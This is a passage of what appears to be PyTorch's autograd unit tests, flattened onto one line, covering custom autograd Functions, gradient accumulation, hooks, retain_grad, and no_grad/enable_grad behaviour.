+= graph_desc(next_fn) result += ', ' if next_functions: result = result[:-2] return result + ')' class TestAutograd(TestCase): def test_tensor_grad_warnings(self): dummy = torch.empty(1) with warnings.catch_warnings(record=True) as w: # Accessing .grad on leaf dummy.requires_grad_() foo = dummy.grad self.assertEqual(len(w), 0) # Accessing .grad on non-leaf dummy = dummy.clone() foo = dummy.grad self.assertEqual(len(w), 1) # Accessing .grad on non-leaf that retains gradients dummy.retain_grad() foo = dummy.grad self.assertEqual(len(w), 1) def _function_test(self, cls): x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5, 5, requires_grad=True) result = cls.apply(x, 2, y) go = torch.ones((), requires_grad=True) result.sum().backward(go, create_graph=True) self.assertEqual(x.grad, y + torch.ones(5, 5)) self.assertEqual(y.grad, x + torch.ones(5, 5) * 2) self.assertIsNotNone(x.grad.grad_fn) self.assertIsNotNone(y.grad.grad_fn) return x, y def test_function(self): class MyFunction(Function): @staticmethod def forward(ctx, tensor1, pyscalar, tensor2): ctx.pyscalar = pyscalar ctx.save_for_backward(tensor1, tensor2) return tensor1 + pyscalar * tensor2 + tensor1 * tensor2 @staticmethod def backward(ctx, grad_output): var1, var2 = ctx.saved_tensors # NOTE: self is the test case here self.assertIsInstance(var1, torch.Tensor) self.assertIsInstance(var2, torch.Tensor) self.assertIsInstance(grad_output, torch.Tensor) return (grad_output + grad_output * var2, None, grad_output * ctx.pyscalar + grad_output * var1) x, y = self._function_test(MyFunction) x_grad_desc = graph_desc(x.grad.grad_fn) y_grad_desc = graph_desc(y.grad.grad_fn) self.assertExpected(x_grad_desc, "x_grad_desc") self.assertExpected(y_grad_desc, "y_grad_desc") def test_once_differentiable(self): class MyFunction(Function): @staticmethod def forward(ctx, tensor1, pyscalar, tensor2): ctx.pyscalar = pyscalar ctx.save_for_backward(tensor1, tensor2) return tensor1 + pyscalar * tensor2 + tensor1 * tensor2 @staticmethod @once_differentiable def backward(ctx, grad_output): self.assertFalse(torch.is_grad_enabled()) t1, t2 = ctx.saved_tensors return (grad_output + grad_output * t2, None, grad_output * ctx.pyscalar + grad_output * t1) x, y = self._function_test(MyFunction) self.assertEqual(graph_desc(x.grad.grad_fn), 'CopyBackwards(None, Error(AccumulateGrad(), None, AccumulateGrad()))') self.assertEqual(graph_desc(y.grad.grad_fn), 'CopyBackwards(None, Error(AccumulateGrad(), None, AccumulateGrad()))') def test_function_returns_input(self): class MyFunction(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, grad): return grad * 2 for shape in [(1,), ()]: v = torch.ones(shape, requires_grad=True) MyFunction.apply(v).backward() self.assertEqual(v.grad, torch.full(shape, 2.)) with torch.no_grad(): v.grad.zero_() MyFunction.apply(v.clone()).backward() self.assertEqual(v.grad, torch.full(shape, 2.)) def test_function_returns_undefined_tensor(self): class MyFunction(Function): @staticmethod def forward(ctx, x): return x * 2 @staticmethod def backward(ctx, grad): return None # Test that undefined tensors returned from custom backward function # are propagated as undefined and not tensor full of zeroes x = torch.ones(1, requires_grad=True) MyFunction.apply(x).backward() self.assertIsNone(x.grad) MyFunction.apply(x ** 2).backward() self.assertIsNone(x.grad) MyFunction.apply(x).sum().backward() self.assertIsNone(x.grad) self.assertIsNone(torch.autograd.grad(MyFunction.apply(x), x, allow_unused=True)[0]) def test_materialize_grads(self): class MyFunction(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, grad): self.assertEqual(grad, torch.zeros(1)) return grad x = torch.ones(1, requires_grad=True) torch._C._functions.UndefinedGrad()(MyFunction.apply(x)).backward() def test_dont_materialize_grads(self): class MyFunction(Function): @staticmethod def forward(ctx, x): ctx.set_materialize_grads(False) return x @staticmethod def backward(ctx, grad): self.assertIsNone(grad) return grad x = torch.ones(1, requires_grad=True) torch._C._functions.UndefinedGrad()(MyFunction.apply(x)).backward() def test_legacy_function_deprecation_exception(self): # Trigger exception class MyFunction(Function): def forward(self, x): return x def backward(self, grad_output): return grad_output # Check exception occurs with self.assertRaisesRegex( RuntimeError, 'Legacy autograd function with non-static forward method is deprecated'): MyFunction()(torch.randn(3, 4)) class SimulateBackwardError(Function): @staticmethod def forward(ctx, input): return input.clone() @staticmethod @once_differentiable def backward(ctx, input): raise Exception("Simulate error on backward pass") def test_custom_function_exception(self): t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) tmp = (t1 + t2) * (t1 + t2) t3 = TestAutograd.SimulateBackwardError.apply(tmp) with self.assertRaisesRegex(Exception, "Simulate error on backward pass"): t3.sum().backward() def test_custom_function_non_tensor_inputs_outputs(self): class MyFunction(Function): @staticmethod def forward(ctx, t1, t2, scale, t3): t4 = t1 + t2 * t3 t5 = t1 * t2 + t3 t4 *= scale t5 *= scale # Save scale ctx.scale = scale ctx.save_for_backward(t1, t2, t3) return scale, t4, None, True, t5, "bar", t1 @staticmethod @once_differentiable def backward(ctx, *grads): # Verify grads self.assertEqual(7, len(grads)) self.assertIsNone(grads[0]) self.assertIsNone(grads[2]) self.assertIsNone(grads[3]) self.assertIsNone(grads[5]) scale = ctx.scale var1, var2, var3 = ctx.saved_tensors return ( grads[1] * scale + grads[4] * var2 * scale + grads[6], grads[1] * var3 * scale + grads[4] * var1 * scale, None, grads[1] * var2 * scale + grads[4] * scale, ) t1 = torch.rand(10, dtype=torch.double, requires_grad=True) t2 = torch.rand(10, dtype=torch.double, requires_grad=True) t3 = torch.rand(10, dtype=torch.double) scale = random.randint(0, 10) res = MyFunction.apply(t1, t2, scale, t3) self.assertEqual(scale, res[0]) self.assertEqual((t1 + t2 * t3) * scale, res[1]) self.assertEqual(None, res[2]) self.assertEqual(True, res[3]) self.assertEqual((t1 * t2 + t3) * scale, res[4]) self.assertEqual("bar", res[5]) self.assertEqual(t1, res[6]) # Validate running backward. torch.autograd.backward([res[1].sum(), res[4].sum(), res[6].sum()]) self.assertIsNotNone(t1.grad) self.assertIsNotNone(t2.grad) self.assertIsNone(t3.grad) # Test gradcheck def foo(t1, t2, t3): res = MyFunction.apply(t1, t2, scale, t3) return res[1], res[4], res[6] gradcheck(foo, (t1, t2, t3)) def test_custom_function_no_tensors(self): class MyFunction(Function): @staticmethod def forward(ctx, t1, t2, scale, t3): t4 = t1 + t2 * t3 t5 = t1 * t2 + t3 t4 *= scale t5 *= scale return scale, t4, None, True, t5, "bar", t1 @staticmethod @once_differentiable def backward(ctx, *args): return (args[0], args[1], None, args[2]) t1 = random.random() t2 = random.random() t3 = random.random() scale = random.randint(0, 10) res = MyFunction.apply(t1, t2, scale, t3) self.assertEqual(scale, res[0]) self.assertEqual((t1 + t2 * t3) * scale, res[1]) self.assertEqual(None, res[2]) self.assertEqual(True, res[3]) self.assertEqual((t1 * t2 + t3) * scale, res[4]) self.assertEqual("bar", res[5]) self.assertEqual(t1, res[6]) def test_invalid_gradients(self): class MyFunction(Function): @staticmethod def forward(ctx, x): return x * 2 @staticmethod def backward(ctx, grad_output): return torch.randn(10, dtype=torch.float) with self.assertRaisesRegex(RuntimeError, 'expected shape'): input = torch.randn(5, 5, dtype=torch.float, requires_grad=True) MyFunction.apply(input).sum().backward() def test_unrelated_inputs(self): # test to ensure grad(grad)check runs successfully even if there is an # unrelated (but differentiable) inputs def my_function(x, y): return x * x x = torch.rand(10, dtype=torch.double, requires_grad=True) y = torch.rand(10, dtype=torch.double, requires_grad=True) gradcheck(my_function, (x, y)) gradgradcheck(my_function, (x, y)) def test_not_implemented_grad(self): a = torch.rand(2, requires_grad=True) # if grad for nextafter ends up being implemented, this should be changed y = torch.nextafter(a, a).sum() with self.assertRaisesRegex( NotImplementedError, 'the derivative for .* is not implemented'): y.backward() def test_not_implemented_fwad(self): x = torch.randn(3) v = torch.rand(3) mat = torch.randn(2, 3) with fwAD.dual_level(): dual_x = fwAD.make_dual(x, v) err_msg = r"Trying to use forward AD with .* that does not support it" hint_msg = "Running forward AD for an OP that does not implement it should raise a NotImplementedError" with self.assertRaisesRegex(NotImplementedError, err_msg, msg=hint_msg): # if forward AD ends up being implemented for torch.mv, choose a different op res = torch.mv(mat, dual_x) def test_accumulate_grad(self): grad_output = torch.ones(5, 5) def compute_grad(create_graph): x = torch.randn(5, 5, requires_grad=True) y = x + 2 y.backward(grad_output, retain_graph=True) x_grad = x.grad x_grad_clone = x.grad.clone() y.backward(grad_output, create_graph=create_graph) return x_grad, x_grad_clone # Accumulate in-place when create_graph is False x_grad, x_grad_clone = compute_grad(create_graph=False) self.assertEqual(x_grad, x_grad_clone * 2) # Accumulate out-of-place when create_graph is False x_grad, x_grad_clone = compute_grad(create_graph=True) self.assertEqual(x_grad, x_grad_clone) def test_accumulate_grad_tensor_reference(self): def _test_grad_tensor(params_grad_tensor, backward_grad_tensor, should_preserve_reference, create_graph): params = torch.tensor([1.5, 1.5]).requires_grad_() params.grad = params_grad_tensor grad_saved = params.grad params.backward(backward_grad_tensor, create_graph=create_graph) self.assertEqual(id(grad_saved) == id(params.grad), should_preserve_reference) for create_graph in (False, True): # Accumulate dense gradient to sparse gradient will change the `params.grad` reference _test_grad_tensor( torch.sparse_coo_tensor(torch.tensor([[1, 1]]).long(), torch.tensor([1., 1.])), torch.tensor([1.5, 1.5]), False, # never accumulates in-place create_graph) # Accumulate dense gradient to dense gradient will preserve the `params.grad` reference, # but only if create_graph=False. _test_grad_tensor( torch.tensor([1.5, 1.5]), torch.tensor([1.5, 1.5]), not create_graph, create_graph) # Accumulate sparse gradient to sparse gradient will preserve the `params.grad` reference, # but only if create_graph=False. _test_grad_tensor( torch.sparse_coo_tensor(torch.tensor([[1, 1]]).long(), torch.tensor([1., 1.])), torch.sparse_coo_tensor(torch.tensor([[1, 1]]).long(), torch.tensor([1., 1.])), not create_graph, create_graph) @skipIfNoLapack def test_slogdet_sign(self): a = torch.randn(3, 3, dtype=torch.double, requires_grad=True) s, logdet = a.slogdet() # test that sign should not require grad self.assertFalse(s.requires_grad) # test that backward through computation involving sign works def sign_mul_logdet(mat): s, logdet = mat.slogdet() return s * logdet u, s, v = a.detach().svd() s.abs_().clamp_(0.0001) for sign in (-1, 1): s[-1] = sign mat = torch.linalg.multi_dot([u, s.diag(), v.t()]).requires_grad_() gradcheck(sign_mul_logdet, mat) gradgradcheck(sign_mul_logdet, mat) def test_sum_to_with_empty_dim_grad(self): a = torch.rand(4, 0, requires_grad=True) b = torch.rand(4, 1, requires_grad=True) c = a + b assert c.shape == (4, 0) c.sum().backward() self.assertEqual(b.grad, torch.zeros(4, 1)) self.assertEqual(a.grad, torch.zeros(4, 0)) def test_hessian_vector(self): x = torch.randn(2, 2, requires_grad=True) y = torch.randn(2, 2, requires_grad=True) z = x ** 2 + y * x + y ** 2 z.backward(torch.ones(2, 2), create_graph=True) with torch.no_grad(): x_grad = 2 * x + y y_grad = x + 2 * y self.assertEqual(x.grad, x_grad) self.assertEqual(y.grad, y_grad) grad_sum = 2 * x.grad + y.grad grad_sum.backward(torch.ones(2, 2)) x_hv = torch.ones(2, 2) * 5 y_hv = torch.ones(2, 2) * 4 self.assertEqual(x.grad, x_grad + x_hv) self.assertEqual(y.grad, y_grad + y_hv) def test_grad(self): x = torch.randn(2, 2, requires_grad=True) y = torch.randn(2, 2, requires_grad=True) z = x ** 2 + y * x + y ** 2 z.backward(torch.ones(2, 2), create_graph=True) x_grad = 2 * x + y y_grad = x + 2 * y self.assertEqual(x.grad, x_grad) self.assertEqual(y.grad, y_grad) grad_sum = 2 * x.grad + y.grad x_hv = torch.autograd.grad( outputs=[grad_sum], grad_outputs=[torch.ones(2, 2)], inputs=[x], create_graph=True) expected_x_hv = torch.ones(2, 2) * 5 expected_y_hv = torch.ones(2, 2) * 4 self.assertEqual(x_hv[0], expected_x_hv) self.assertEqual(x.grad, x_grad) self.assertEqual(y.grad, y_grad) # Test that grad_outputs and outputs have the same shape grad_out = torch.ones(2) try: torch.autograd.grad( outputs=[grad_sum], grad_outputs=[grad_out], inputs=[x], create_graph=True) self.assertFail() except RuntimeError as error: self.assertEqual(str(error), "Mismatch in shape: grad_output[0] has a shape of " + str(grad_out.shape) + " and output[0] has a shape of " + str(grad_sum.shape) + ".") def test_grad_nonleaf(self): x_init = torch.randn(2, 2, requires_grad=True) x = x_init y = torch.randn(2, 2, requires_grad=True) grad_output = torch.ones(2, 2) def fn(x): return x ** 2 + y * x + y ** 2 for _ in range(5): grad_x, = torch.autograd.grad( fn(x), x, grad_outputs=grad_output, create_graph=True) grad_x_expected = 2 * x + y self.assertIsNone(y.grad) self.assertIsNone(x.grad) self.assertEqual(grad_x, grad_x_expected) x = x + 0.05 * grad_x val_init = fn(x_init).sum() val_final = fn(x).sum() self.assertGreater(val_final, val_init) x.backward(grad_output) self.assertIsNotNone(y.grad) self.assertIsNotNone(x_init.grad) def test_grad_nonleaf_many_outputs(self): # This checks an edge case for function callbacks # We want to capture two grads of a function, but can only # register a single callback. x = torch.randn(4, 2, requires_grad=True) a, b = x.chunk(2) def hook(*grads): hook_called[0] = True hook_called = [False] x.register_hook(hook) go = torch.randn(2, 2) grad_a, grad_b = torch.autograd.grad( (a + 2 * b), [a, b], grad_outputs=go, create_graph=True) self.assertEqual(grad_a, go) self.assertEqual(grad_b, go * 2) self.assertFalse(hook_called[0]) self.assertIsNone(x.grad) def test_grad_nonleaf_register_hook(self): # This checks an edge case for register_hook. # We want to capture grad of a nonleaf tensor, # but avoid segfault during backward of other nonleaf tensors x = torch.randn(5, requires_grad=True) x_list = x.unbind() x0 = x_list[0] hook_results = [None] def hook(grad): hook_results[0] = grad x0.register_hook(hook) x_list[0].backward() self.assertEqual(hook_results[0], torch.tensor(1.)) expected_grad = torch.tensor([1., 0, 0, 0, 0]) self.assertEqual(x.grad, expected_grad) self.assertIsNone(x_list[0].grad) for i in range(1, 5, 1): x_list[i].backward() self.assertEqual(hook_results[0], None) expected_grad[i] = 1.0 self.assertEqual(x.grad, expected_grad) self.assertIsNone(x_list[i].grad) def test_hook_with_no_name(self): # Create a hook that do not have a __name__ attribute class MyHookClass: def __call__(self, grad): return grad.clone() x = torch.randn(5, requires_grad=True).clone() x.register_hook(MyHookClass()) x.sum().backward() # Should run fine def test_sharded_grad(self): leaves = [torch.zeros(5, 5, requires_grad=True) for _ in range(10)] intermediates = [l * i + l * l for i, l in enumerate(leaves)] loss = sum(v * i for i, v in enumerate(intermediates)).sum() # define a helper for dividing intermediates into groups def group(l, group_size): return (l[i:i + group_size] for i in range(0, len(l), group_size)) # Compute the d loss / d intermediates in chunks of shard_size shard_size = 2 d_intermediates = [d_i for intermediates_batch in group(intermediates, shard_size) for d_i in torch.autograd.grad(loss, intermediates_batch)] # Compute rest of backward pass torch.autograd.backward(intermediates, d_intermediates) for i, l in enumerate(leaves): self.assertEqual(l.grad, i * i * (1 + l)) def test_backward_badcalls(self): x = torch.ones(1) with self.assertRaisesRegex(RuntimeError, 'does not require grad'): x.backward() def test_grad_badcalls(self): x = torch.ones(1) y = x ** 2 with self.assertRaisesRegex(RuntimeError, 'does not require grad'): torch.autograd.grad(x, y) with self.assertRaisesRegex(RuntimeError, 'does not require grad'): torch.autograd.grad(y, x) x = torch.ones(1, requires_grad=True) y = x ** 2 torch.autograd.grad(y, x) # this should succeed now def test_grad_empty_inputs(self): x = torch.tensor([1.0], requires_grad=True) with self.assertRaisesRegex(ValueError, "grad requires non-empty inputs."): torch.autograd.grad(2 * x, [], grad_outputs=torch.tensor([1.0])) def test_grad_fn_badcalls(self): error_regex = 'expected .* arguments, got .* instead' x = torch.ones(1, requires_grad=True) y = x ** 2 with self.assertRaisesRegex(TypeError, error_regex): y.grad_fn(x.detach(), x.detach()) # too many with self.assertRaisesRegex(TypeError, error_regex): y.grad_fn() # too few y.grad_fn(x.detach()) # this should succeed def test_grad_unreachable(self): x = torch.ones(1, requires_grad=True) y = torch.ones(1, requires_grad=True) # Make sure x and y have grad accumulators allocated z = x * 2 w = y * 2 grad_x, grad_y = torch.autograd.grad(x * 2, [x, y], allow_unused=True) self.assertEqual(grad_x, x * 2) self.assertIsNone(grad_y) # This is slightly different than the case above, because z doesn't even # have a grad accumulator allocated. z = torch.ones(1, requires_grad=True) grad_x, grad_z = torch.autograd.grad(x * 2, [x, z], allow_unused=True) self.assertEqual(grad_x, x * 2) self.assertIsNone(grad_z) # allow_unused=False, but grads contains None inside, should throw with self.assertRaisesRegex(RuntimeError, "Set allow_unused=True"): grad_x, grad_y = torch.autograd.grad(x * 2, [x, y], allow_unused=False) def test_grad_unreachable_discovery(self): # Test that certain nodes are not erroneously executed when an input # is unreachable. See #39784 class MyFunc(torch.autograd.Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, x): self.fail("This node should not be executed!") x = MyFunc.apply(torch.randn(1, requires_grad=True) * 2) y = torch.randn(1, requires_grad=True) (gY,) = torch.autograd.grad(x, (y, ), allow_unused=True) self.assertIsNone(gY) x = MyFunc.apply(torch.randn(1, requires_grad=True) * 2) y = torch.randn(1, requires_grad=True) z = torch.randn(1, requires_grad=True) (gY, gZ) = torch.autograd.grad(x + z, (y, z), allow_unused=True) self.assertIsNone(gY) self.assertIsNotNone(gZ) x = MyFunc.apply(torch.randn(1, requires_grad=True) * 2) y = torch.randn(1, requires_grad=True) torch.autograd.backward(x, inputs=(y, )) # allow_unused is implicitly True! self.assertIsNone(y.grad) def test_hooks(self): x = torch.ones(5, 5, requires_grad=True) y = torch.ones(5, 5) * 4 y.requires_grad_(True) counter = [0] def bw_hook(inc, grad): self.assertIsInstance(grad, torch.Tensor) counter[0] += inc z = x ** 2 + x * 2 + x * y + y x.register_hook(lambda *args: bw_hook(0, *args)) test = z.register_hook(lambda *args: bw_hook(1, *args)) z.backward(torch.ones(5, 5), retain_graph=True) self.assertEqual(counter[0], 1) test2 = z.register_hook(lambda *args: bw_hook(2, *args)) z.backward(torch.ones(5, 5), retain_graph=True) self.assertEqual(counter[0], 4) test2.remove() z.backward(torch.ones(5, 5), retain_graph=True) self.assertEqual(counter[0], 5) def bw_hook_modify(grad): return grad.mul(2) test.remove() z.register_hook(bw_hook_modify) with torch.no_grad(): y.grad.zero_() z.backward(torch.ones(5, 5), retain_graph=True) self.assertEqual(y.grad, (x + 1) * 2) y.register_hook(bw_hook_modify) with torch.no_grad(): y.grad.zero_() z.backward(torch.ones(5, 5)) self.assertEqual(y.grad, (x + 1) * 4) def test_hooks_cpp(self): # Tests hooks for autograd function implemented in C++ bn = torch.nn.BatchNorm1d(5, affine=False) bn.double() bn.eval() counter = [0] def bw_hook(grad): counter[0] += 1 return grad * 2 x = torch.ones(5, 5, dtype=torch.double, requires_grad=True) z = bn(x) z.register_hook(bw_hook) z.sum().backward() self.assertEqual(counter[0], 1, msg='bw_hook not called') self.assertEqual(x.grad, torch.ones(5, 5, dtype=torch.double) * 2, atol=1e-5, rtol=0) def test_hook_none(self): # WARNING: this is a test for autograd internals. # You should never have to use such things in your code. class NoneGradientFunction(Function): @staticmethod def forward(ctx, x, y): assert ctx.needs_input_grad[0] assert not ctx.needs_input_grad[1] return x, y @staticmethod def backward(ctx, grad_x, grad_y): return grad_x, None was_called = [False] def hook(grad): self.assertIsNotNone(grad) was_called[0] = True x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5, 5) rx, ry = NoneGradientFunction.apply(x, y) rx.register_hook(hook) ry.register_hook(hook) sum(rx, ry).sum().backward() self.assertTrue(was_called[0]) def test_retain_grad(self): input = torch.rand(1, 3, requires_grad=True) h1 = input * 3 out = (h1 * h1).sum() # It should be possible to call retain_grad() multiple times h1.retain_grad() h1.retain_grad() # Gradient should be accumulated out.backward(retain_graph=True) self.assertEqual(h1 * 2, h1.grad) out.backward(retain_graph=True) self.assertEqual(h1 * 4, h1.grad) with torch.no_grad(): input.grad.zero_() # It should be a no-op for leaves input.retain_grad() input.retain_grad() out.backward() self.assertEqual(input * 18, input.grad) def test_retain_grad_cycle(self): x = torch.ones(5, 5, requires_grad=True) def run_test(): y = x * 2 y.retain_grad() return y / 2, torch._C._WeakTensorRef(y) z, ref = run_test() self.assertTrue(ref.expired()) z.sum().backward() def test_backward(self): v = torch.randn(5, 5, requires_grad=True) x = torch.randn(5, 5, requires_grad=True) y = (torch.rand(5, 5) + 0.1).requires_grad_(True) z = torch.randn(5, 5, requires_grad=True) grad_output = torch.randn(5, 5) v.backward(grad_output) self.assertEqual(v.grad, grad_output) a = x + (y * z) + 4 * z ** 2 * x / y a.backward(grad_output) x_grad = 4 * z.pow(2) / y + 1 y_grad = z - 4 * x * z.pow(2) / y.pow(2) z_grad = 8 * x * z / y + y self.assertEqual(x.grad, x_grad * grad_output) self.assertEqual(y.grad, y_grad * grad_output) self.assertEqual(z.grad, z_grad * grad_output) def test_sparse_mm_backward(self): size = (3, 3) sparse = torch.sparse_coo_tensor(size, requires_grad=True) dense = torch.randn(size, requires_grad=True) with self.assertRaisesRegex( RuntimeError, "The backward pass for this operation requires the 'mat1' tensor to be strided,"): z = dense.addmm(sparse, dense) mm_test_cases = [ # a requires grad, a is sparse, b requires grad, b is sparse, error message (False, True, True, False, None), (False, False, True, True, "The backward pass for this operation requires the 'mat2'"), (False, True, True, True, "The backward pass for this operation requires the 'mat2'"), (True, False, True, True, "The backward pass for this operation requires the 'mat2'"), (True, True, False, False, "The backward pass for this operation requires the 'self'"), (True, True, True, False, "The backward pass for this operation requires the 'self'"), (True, True, True, True, "The backward pass for this operation requires the 'mat2'"), ] for a_req_grad, a_is_sparse, b_req_grad, b_is_sparse, err_msg in mm_test_cases: # We should only be testing cases with sparse inputs, and at least one # input needs to require grad so we can call a backward pass assert a_is_sparse or b_is_sparse assert a_req_grad or b_req_grad a = torch.randn(size, requires_grad=a_req_grad) if a_is_sparse: a = a.to_sparse() b = torch.randn(size, requires_grad=b_req_grad) if b_is_sparse: b = b.to_sparse() # If no error expected, check that sparse and dense cases match if err_msg is None: r = a.mm(b) r.sum().backward() a_grad = None if a.grad is None else a.grad.clone().detach() b_grad = None if b.grad is None else b.grad.clone().detach() # Redo with only dense tensors a = (a.to_dense() if a.is_sparse else a).clone().detach() a.requires_grad = a_req_grad b = (b.to_dense() if b.is_sparse else b).clone().detach() b.requires_grad = b_req_grad r = a.mm(b) r.sum().backward() self.assertEqual(a_grad, a.grad) self.assertEqual(b_grad, b.grad) else: with self.assertRaisesRegex(RuntimeError, err_msg): a.mm(b) def test_multi_backward(self): x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5, 5, requires_grad=True) q = torch.randn(5, 5, requires_grad=True) a = torch.randn(5, 5, requires_grad=True) b = torch.randn(5, 5, requires_grad=True) q2 = q * 2 z = x + y + q2 c = a * b + q2 grad_z = torch.randn(5, 5) grad_c = torch.randn(5, 5) torch.autograd.backward([z, c], [grad_z, grad_c]) self.assertEqual(x.grad, grad_z) self.assertEqual(y.grad, grad_z) self.assertEqual(a.grad, grad_c * b) self.assertEqual(b.grad, grad_c * a) self.assertEqual(q.grad, (grad_c + grad_z) * 2) def test_multi_backward_no_grad(self): x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5, 5, requires_grad=False) z = x + y q = y * 2 # NB: we currently raise an exception if any arguments to backwards # have requires_grad=False and don't have a grad_fn. We may want to # relax that check to a warning. def call_backwards(): torch.autograd.backward([z, q], [torch.ones(5, 5), torch.ones(5, 5)]) self.assertRaises(RuntimeError, call_backwards) def test_backward_with_inputs(self): x = torch.randn(2, 2, dtype=torch.double, requires_grad=True) y = torch.randn(2, 2, dtype=torch.double, requires_grad=True) def fn(): return x ** 2 + y * x + y ** 2 gradient = torch.ones(2, 2) x_grad_expected = 2 * x + y y_grad_expected = x + 2 * y @torch.no_grad() def reset_grad(): x.grad.zero_() y.grad.zero_() torch.autograd.backward(fn(), gradient, inputs=[x, y]) self.assertEqual(x.grad, x_grad_expected) self.assertEqual(y.grad, y_grad_expected) reset_grad() torch.autograd.backward(fn(), gradient, inputs=[x]) self.assertEqual(x.grad, x_grad_expected) self.assertEqual(y.grad, torch.zeros(2, 2), exact_dtype=False) reset_grad() torch.autograd.backward(fn(), gradient, inputs=[y]) self.assertEqual(y.grad, y_grad_expected) self.assertEqual(x.grad, torch.zeros(2, 2), exact_dtype=False) reset_grad() torch.autograd.backward(fn(), gradient, inputs=y) self.assertEqual(y.grad, y_grad_expected) self.assertEqual(x.grad, torch.zeros(2, 2), exact_dtype=False) reset_grad() self.assertRaisesRegex(RuntimeError, 'cannot be empty', lambda: torch.autograd.backward(fn(), gradient, inputs=[])) def test_backward_with_nonleaf_inputs(self): x = torch.randn(2, 2, dtype=torch.double, requires_grad=True) x_nonleaf = x * 1 y = torch.randn(2, 2, dtype=torch.double, requires_grad=True) z = torch.randn(2, 2, dtype=torch.double, requires_grad=True) out = x_nonleaf ** 2 + y * x_nonleaf + y ** 2 out.backward(torch.ones(2, 2, dtype=torch.double), create_graph=True, inputs=[x, y, x_nonleaf]) x_grad_expected = 2 * x + y y_grad_expected = x + 2 * y x_non_leaf_expected = 2 * x_nonleaf + y self.assertEqual(y.grad, y_grad_expected) self.assertEqual(x.grad, x_grad_expected) self.assertEqual(x_nonleaf.grad, x_non_leaf_expected) # backward doesn't have an allow_unused flag, so the behavior of backward # when variable is not part of the graph is as if allow_used were true # x.grad will simply be None. out.backward(torch.ones(2, 2, dtype=torch.double), create_graph=True, inputs=[z]) self.assertIsNone(z.grad) def test_dependent_backward(self): x = torch.randn(10, requires_grad=True) y = x ** 2 z = y ** 3 go_y = torch.randn(10) go_z = torch.randn(10) torch.autograd.backward([y, z], [go_y, go_z]) xd = x self.assertEqual(x.grad, 2 * xd * go_y + 6 * xd.pow(5) * go_z) def test_save_output_nr(self): x = torch.randn(10, requires_grad=True) class MultiOutputFn(Function): @staticmethod def forward(ctx, x): return x[:5], x[5:] @staticmethod def backward(ctx, *grad): return torch.cat(grad) a, b = MultiOutputFn.apply(x) self.assertEqual(b.output_nr, 1) class TestFn(Function): @staticmethod def forward(ctx, b): ctx.save_for_backward(b) return b * 2 @staticmethod def backward(ctx, grad_b): b, = ctx.saved_tensors self.assertEqual(b.output_nr, 1) TestFn.apply(b).sum().backward() def test_free_deep_graph(self): def scope(): depth = 150000 x = torch.randn(1, requires_grad=True) y = x.clone() # build a "chain" computation graph for _ in range(depth): y = y + y * 0.000001 # graph deletion occurs when the above locals go out of scope. # In this case `del y` will trigger it but it's easier to leave # it to Python to delete the locals. # Should not stack overflow scope() def test_free_deep_graph_complicated(self): def scope(): depth = 100000 randchoice = torch.randint(2, [depth, 2]) x = torch.randn(1, requires_grad=True) y = x.clone() # Hold the two previous values prev_values = [None, None] # Build a "chain with skip connections" graph for _ in range(depth): prev_tensors = [tensor for tensor in prev_values[:-1] if tensor is not None] prev_values.append(y) prev_values.pop(0) # Definitely pick one tensor to add y += y * 0.000001 # Possibly add other tensors nprev = len(prev_tensors) if nprev == 2: y += randchoice[depth].mul(torch.cat(prev_tensors)).sum() # graph deletion occurs when the above locals go out of scope. # Should not stack overflow scope() def test_free_deep_graph_pyfunction(self): class MyOp(Function): @staticmethod def forward(ctx, tensor1, tensor2): return tensor1 + tensor2 @staticmethod def backward(ctx, grad_output): return grad_output, grad_output def scope(): depth = 150000 x = torch.randn(1, requires_grad=True) y = x.clone() # build deeply nested computation graph for _ in range(depth): y = MyOp.apply(y, y) # graph deletion occurs when the above locals go out of scope. # Should not stack overflow scope() def test_no_unnecessary_save(self): # If we kept x in the derivative Function of x * 2 we would # get an error in the backward that would complain that we've # modified x, which was needed for gradient computation. # Since we should elide unnecessary saves, this test should pass. mu = torch.ones(1, requires_grad=True) x = torch.empty(1) loss = 0 for i in range(3): x.detach_() x.copy_(mu + i) ft = torch.tensor([float(i)]) multiplied = x * ft s = multiplied.sum() loss += s loss.backward() def test_no_grad(self): x = torch.ones(5, 5, requires_grad=True) y = torch.ones(5, 5) * 4 with torch.no_grad(): w = x + y @torch.no_grad() def adder(x, y): return x + y z = adder(x, y) self.assertFalse(w.requires_grad) self.assertRaises(RuntimeError, lambda: w.backward(torch.ones(5, 5))) self.assertIsNone(w.grad_fn) self.assertFalse(z.requires_grad) self.assertRaises(RuntimeError, lambda: z.backward(torch.ones(5, 5))) self.assertIsNone(z.grad_fn) # test nested decorator and with-statement on no_grad with torch.no_grad(): self.assertFalse(torch.is_grad_enabled()) w = adder(x, y) self.assertFalse(torch.is_grad_enabled()) def test_set_grad_generator_functions(self): @torch.no_grad() def gen_no_grad(): for i in range(10): self.assertEqual(torch.is_grad_enabled(), False) yield i with torch.enable_grad(): for _ in gen_no_grad(): self.assertEqual(torch.is_grad_enabled(), True) @torch.enable_grad() def gen_enable_grad(): for i in range(10): self.assertEqual(torch.is_grad_enabled(), True) yield i with torch.no_grad(): for _ in gen_enable_grad(): self.assertEqual(torch.is_grad_enabled(), False) def test_set_grad_generator_functions_recursive(self): # enable_grad_decorator_recursive and no_grad_decorator_recursive call each other # recursively, to ensure that the decorators preserve the caller's setting @torch.enable_grad() def enable_grad_decorator_recursive(depth): self.assertTrue(torch.is_grad_enabled()) if depth > 0: no_grad_decorator_recursive(depth - 1) self.assertTrue(torch.is_grad_enabled()) @torch.no_grad() def no_grad_decorator_recursive(depth): self.assertFalse(torch.is_grad_enabled()) if depth > 0: enable_grad_decorator_recursive(depth - 1) self.assertFalse(torch.is_grad_enabled()) # enable_grad_context_manager_recursive and no_grad_context_manager_recursive call # each other recursively, to ensure that the decorators preserve the caller's setting def enable_grad_context_manager_recursive(depth): with torch.enable_grad(): self.assertTrue(torch.is_grad_enabled()) if depth > 0: no_grad_context_manager_recursive(depth - 1) self.assertTrue(torch.is_grad_enabled()) def no_grad_context_manager_recursive(depth): with torch.no_grad(): self.assertFalse(torch.is_grad_enabled()) if depth > 0: enable_grad_context_manager_recursive(depth - 1) 